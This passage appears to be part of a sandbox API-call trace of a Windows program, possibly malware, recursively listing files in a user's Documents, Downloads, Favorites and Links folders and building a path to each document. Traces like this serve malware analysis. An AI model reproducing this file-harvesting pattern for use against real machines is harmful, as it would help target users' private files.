(lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="g_3izHwQ87.docx") returned 15 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned 43 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="HP0A.pptx", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="HP0A.pptx", lpString2="..") returned 1 [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="HP0A.pptx") returned 9 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned 37 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2="..") returned 1 [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="iy0BS-wZvFAPifst.xlsx") returned 21 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned 49 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2="..") returned 1 [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="jtfunIUKTuKB.rtf") returned 16 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned 44 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2="..") returned 1 [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="kjO Dw4y7j6PSDs.pptx") returned 20 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned 48 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="kpRhFe62wLyHm_gju5i.xlsx") returned 24 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned 52 [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="My Music") returned 8 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Music" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Music") returned="c:\\Users\\aETAdzjz\\Documents\\My Music" [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="My Pictures") returned 11 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Pictures" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Pictures") returned="c:\\Users\\aETAdzjz\\Documents\\My Pictures" [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="My Shapes") returned 9 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Shapes" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Shapes") returned="c:\\Users\\aETAdzjz\\Documents\\My Shapes" [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="My Videos") returned 9 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Videos" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Videos") returned="c:\\Users\\aETAdzjz\\Documents\\My Videos" [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="nEyS-vVYoVcjNl64w.pdf") returned 21 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned 49 [0040.242] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.242] lstrcmpW (lpString1="OE_9.docx", lpString2=".") returned 1 [0040.242] lstrcmpW (lpString1="OE_9.docx", lpString2="..") returned 1 [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.242] lstrlenW (lpString="OE_9.docx") returned 9 [0040.242] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0040.242] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned 37 [0040.243] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.243] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0040.243] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0040.243] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.243] lstrlenW (lpString="OneNote Notebooks") returned 17 [0040.243] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks" [0040.243] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.243] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0040.243] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0040.243] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.243] lstrlenW (lpString="Outlook Files") returned 13 [0040.243] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Outlook Files" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned="c:\\Users\\aETAdzjz\\Documents\\Outlook Files" [0040.243] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.243] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2=".") returned 1 [0040.243] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2="..") returned 1 [0040.243] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.243] lstrlenW (lpString="Pu8nkjiAKviOXnl1Gn5.docx") returned 24 [0040.243] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0040.243] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned 52 [0040.243] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.244] lstrcmpW (lpString1="w39fbPx.pptx", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="w39fbPx.pptx", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.244] lstrlenW (lpString="w39fbPx.pptx") returned 12 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned 40 [0040.244] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.244] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.244] lstrlenW (lpString="Wvwv-n0sd.pptx") returned 14 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned 42 [0040.244] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.244] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.244] lstrlenW (lpString="XoRtIuBcm 9dtD-.xlsx") returned 20 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned 48 [0040.244] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.244] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.244] lstrlenW (lpString="yuLsb9JD4.pptx") returned 14 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned 42 [0040.244] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.244] lstrcmpW (lpString1="_r0qj", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="_r0qj", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.244] lstrlenW (lpString="_r0qj") returned 5 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="_r0qj" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\_r0qj") returned="c:\\Users\\aETAdzjz\\Documents\\_r0qj" [0040.244] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.244] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.244] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.244] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0040.244] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.244] lstrlenW (lpString="Downloads") returned 9 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Downloads" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads") returned="c:\\Users\\aETAdzjz\\Downloads" [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\") returned="c:\\Users\\aETAdzjz\\Downloads\\" [0040.244] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0040.244] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\*") returned="c:\\Users\\aETAdzjz\\Downloads\\*" [0040.244] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Downloads\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0040.245] lstrlenW (lpString="ChromeSetup.exe") returned 15 [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned 43 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0040.245] lstrlenW (lpString="desktop.ini") returned 11 [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned 39 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.245] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.245] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.245] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.245] lstrlenW (lpString="Favorites") returned 9 [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Favorites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites") returned="c:\\Users\\aETAdzjz\\Favorites" [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\") returned="c:\\Users\\aETAdzjz\\Favorites\\" [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\*") returned="c:\\Users\\aETAdzjz\\Favorites\\*" [0040.245] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Favorites\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.245] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.245] lstrlenW (lpString="desktop.ini") returned 11 [0040.245] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0040.245] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned 39 [0040.245] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.245] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.246] lstrlenW (lpString="Links") returned 5 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Links") returned="c:\\Users\\aETAdzjz\\Favorites\\Links" [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.246] lstrlenW (lpString="Microsoft Websites") returned 18 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Microsoft Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites" [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="MSN Websites", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="MSN Websites", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.246] lstrlenW (lpString="MSN Websites") returned 12 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="MSN Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites" [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="Windows Live", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="Windows Live", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0040.246] lstrlenW (lpString="Windows Live") returned 12 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Windows Live" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Windows Live") returned="c:\\Users\\aETAdzjz\\Favorites\\Windows Live" [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.246] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.246] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.246] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.246] lstrlenW (lpString="Links") returned 5 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Links") returned="c:\\Users\\aETAdzjz\\Links" [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\") returned="c:\\Users\\aETAdzjz\\Links\\" [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\*") returned="c:\\Users\\aETAdzjz\\Links\\*" [0040.246] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Links\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.246] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.246] lstrlenW (lpString="desktop.ini") returned 11 [0040.246] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0040.246] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned 35 [0040.246] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.246] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0040.246] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.247] lstrlenW (lpString="Desktop.lnk") returned 11 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Desktop.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned 35 [0040.247] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.247] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0040.247] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.247] lstrlenW (lpString="Downloads.lnk") returned 13 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned 37 [0040.247] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.247] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0040.247] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.247] lstrlenW (lpString="OneDrive.lnk") returned 12 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="OneDrive.lnk" | out: 